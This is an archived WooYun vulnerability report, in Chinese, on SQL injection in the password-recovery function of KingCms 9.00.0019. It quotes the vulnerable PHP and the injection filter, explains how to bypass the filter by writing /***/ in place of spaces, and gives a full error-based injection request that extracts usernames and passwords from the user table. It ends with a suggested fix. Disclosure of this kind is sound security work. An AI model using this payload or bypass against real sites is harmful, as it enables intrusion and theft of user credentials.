当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0139008

漏洞标题:KingCms最新版绕过防注(版本:9.00.0019)注入2枚打包(有条件限制)

相关厂商:KingCms

漏洞作者: 路人甲

提交时间:2015-09-07 11:22

修复时间:2015-10-22 11:24

公开时间:2015-10-22 11:24

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-09-07: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-10-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

KingCms最新版绕过防注(版本:9.00.0019)注入2枚打包
新版本添加新功能带来的问题

详细说明:

kingcms一直在修复更新,经过了9.00.0015,9.00.0016,9.00.0017,现在更新到了9.00.0018。9.00.0018的更新时间是2015.07.23,见官网http://www.kingcms.com/download/k9/。虽然官网下载的是9.00.0018,但是安装完成后,可以在后台在线升级,升级成最新版9.00.0019,最新版的cms就存在这个漏洞,这是新版本新增功能带来的漏洞。
另:由于kingcms使用的是云后台,安装过程与一般的cms有点不同,复现时安装请参考官方:http://www.focuznet.com/k9/t3012/ (特别是安装的后面部分操作)
注入点在找回密码的地方,两个参数存在注入:username和email。
注入点: /user/manage.php
以注入参数username为例进行证明

/**
* 找回密码
*/
function _findpass(){
$username=kc_post('username');
$email=kc_post('email');
if(empty($username)) kc_tip('请填写用户名!','form');
if(empty($email)) kc_tip('请填写注册时的邮箱!','form');
$checkcode=new checkcode;$checkcode->check();//这里是测试验证码的,为了方便测试,可以先把这里注入掉。
$db=new db;
$rs=$db->getRows_one('%s_user','userid,username,email,salt',"username='$username' AND email='$email'");
if(empty($rs)) kc_tip('您填写的用户名与电子邮件地址不匹配,请重新输入!','form');
$code = md5($rs['userid'] . $rs['email'] . $rs['salt']);
$reset_email = FULLURL . '?user-findpass&userid=' . $rs['userid'] . '&code=' . $code;

$user_name = $rs['username'];
$site_name = kc_config('site.name');
$send_date = date('Y-m-d', time());

$mail_queue = new mail_queue;
$mail_info = $mail_queue->get_mail_template('send_password');
if(!$mail_info){
$errstr = $mail_queue->show_errstr();
kc_tip($errstr,'form');
}
$content = $mail_info['content'];
eval("\$content = \"$content\";");
//发送邮件的函数
if ($mail_queue->send_mail('', $rs['email'], $mail_info['tpltitle'], $content, $mail_info['tpltype'])){
kc_tip('重置密码的邮件已经发到您的邮箱!','ok','refresh');
}else{
//发送邮件出错
kc_tip('发送邮件出错,请与管理员联系!','form');
}
}


首先通过$username=kc_post('username');获得username,验证了是否为空,然后通过带入了这个语句:$rs=$db->getRows_one('%s_user','userid,username,email,salt',"username='$username' AND email='$email'");
我们去看看$db->getRows_one

/**
* 读取单行数据
* @param string $table 表
* @param string $insql 调用的代码
* @param string $where 条件
* @return array 一维数组
*/
public function getRows_one($table,$insql='*',$where=null,$orderby=null) {
$table=str_replace('%s',DB_PRE,$table);
$sql="SELECT $insql FROM $table ";
$sql.=empty($where) ? '' : ' WHERE '.$where;
$sql.=empty($orderby) ? '' : ' ORDER BY '.$orderby;
return $this->get_one($sql);
}


再跟进$this->get_one($sql);再跟进$this->query($sql);如下:

/**
* 查询
* @param string $sql 查询语句
* @return object
*/
public function query($sql) {
if(!$this->safecheck($sql)){
if(AJAX){
$tip='数据查询错误:'.$sql.'\n';
}else{
$tip='<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">数据查询错误:'.$sql.'</strong>';
}
kc_tip($tip,'form');
}
if(!isset($this->link)) {
$this->connect();//判断数据库连接是否可用
}
@mysql_query('set names '.DB_CHARSET);//设置字符集
$this->query_ID = @mysql_query($sql);
//错误反馈
$errid=mysql_errno();
if(!empty($errid) && $this->debug==true){
echo('<strong style="color:#C00;display:block;line-height:50px;font-size:20px;">'.$errid.') 数据查询错误:'.mysql_error().'</strong><p>'.$sql.'</p>');
}
return $this->query_ID;
}


这里使用了kingcms的防注过滤方法$this->safecheck($sql),我们重点来研究一下是如何过滤的,又是如何绕过的。

/**
* 参考Discuz!及阿里云 云体检通用漏洞防护补丁
*/
public function safecheck($sql){
$checkcmd = array('SEL', 'UPD', 'INS', 'REP', 'DEL');
$cmd = strtoupper(substr(trim($sql), 0, 3));
if (!in_array($cmd, $checkcmd)) {
return TRUE;
}
$disablesql = '((load_file|hex|substring|if|ord|char)\()|(intooutfile|intodumpfile|unionselect|\(select|unionall|uniondistinct|uniondistinct)';
if (preg_match("/" . $disablesql . "/is", str_replace('/**/', '', $sql)) == 1) {
return FALSE;
}
return TRUE;
}
} //!DB_CLASS


通过分析代码我们有了以下基本想法:
1、当str_replace把/**/过滤掉以后的语句,不能与$disablesql 正则匹配
2、构造的sql语句能被符合sql的语法规则。
最开始想使用/*/**/*/,当str_replace把中间的/**/去掉以后,正好剩下/**/,这样可以组成类似于(/**/select......这样的语句,不会被\(select|的正则匹配,但是/*/**/*/是错误的sql注释方法,sql语法有错误,因此不能绕过。
然后又想到使用/***/,str_replace('/**/', '', $sql)对/***/无效,而/***/在sql语句中与/**/作用相同,可以起到一个空格的作用,不影响sql语句的正常执行。成功绕过。
这里我们使用报错注入,因此Payload如下:

GET /user/manage.php?jsoncallback=1&_=1&CMD=findpass&AJAX=1&HTTP_REFERER=&ISCONFIRM=1&checkcode_answer=3564&username=0'/***/UNION/***/SELECT/***/1/***/FROM(/***/SELECT/***/COUNT(*),CONCAT(0x23,(/***/SELECT/***/concat(username,0x23,userpass)FROM/***/king_user/***/LIMIT/***/0,1),0x23,FLOOR(RAND(0)*2))x/***/FROM/***/INFORMATION_SCHEMA.tables/***/GROUP/***/BY/***/x)a%23&email=test&checkcode_id=1&checkcode_answer=43 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:38.0) Gecko/20100101 Firefox/38.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh,zh-CN;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie:
Connection: keep-alive


注入,在测试时,找回密码需要填写验证码,为了直接使用上面的payload 进行测试,可以把/user/manage.php中验证码较检的地方先注释掉,如下图中的最后一行。

注入掉副本.jpg


注入成功:

成功副本.jpg

漏洞证明:

见 详细说明

修复方案:

使用$username=kc_post('username',参数);或kingcms自定义的转义方法encode

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝